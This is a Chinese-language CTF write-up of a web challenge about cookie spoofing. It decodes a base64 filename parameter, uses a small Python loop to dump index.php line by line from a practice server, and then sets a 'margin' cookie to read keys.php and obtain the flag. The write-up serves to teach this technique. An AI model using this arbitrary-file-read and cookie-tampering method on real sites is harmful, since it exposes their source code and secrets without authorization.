cookie欺骗(100)
写脚本能力和代码审计
1.打开页面一长串的字母,无用;
源码,无用;
观察url
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
参数filename的值是a2V5cy50eHQ=是base64编码,解密后得到keys.txt
php解析的时候 line 表示的是行号,filename是对于文件内容的读取。
2.直接构造一个逻辑矛盾,让filename去读自己即读index.php,既然keys.txt是被编码过的,那么这里的index.php也要base64编码一下,试着把index.php的base64编码赋值给filename参数,并对line进行赋值,写了line=1
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
发现打印内容,为一句php代码error_reporting(0);
然后写个脚本把所有php都给跑出来
import requests
i=0
while i<=30:
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw="
result=requests.get(url)
i=i+1
print(result.text)
获得源码~
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的话获取其内容,没有的话就赋值为空
$line=isset($_GET['line'])?intval($_GET['line']):0; //line有值直接获取,无值赋值为0
if($file=='')
header("location:index.php?line=&filename=a2V5cy50eHQ="); //设置我们看到的URL
$file_list = array( //关联型数组
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){//接下来的指示,cookie中的margin参数要设置,且要等于'margin'
$file_list[2]='keys.php'; //在数组中加入keys.php,这应该存着flag
}
if(in_array($file, $file_list)){//看我们传入的filename的值是否在上面的数组中
$fa = file($file); //是则以文件的方式打开
echo $fa[$line]; //按line行号,输出
}
?>
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
isset: 检测变量是否设置,并且不是 NULL。 $_GET:收集来自 method=“get” 的表单中的值 intval():
用于获取变量的整数值。
阅读代码后发现,cookie体现在,如果传入一个name=margin value=margin的cookie 就会将keys.php加到可以打印的数组中,所以传入margin参数,值为margin,filename写成keys.php,line写成0(file将文件的内容作为数组时第一行下标是0,至于刚刚那个index.php应该是首行为空的),即可打印出flag
使用Burpsuite,抓到包后发送到Repeater:
获得flag:KEY{key_keys}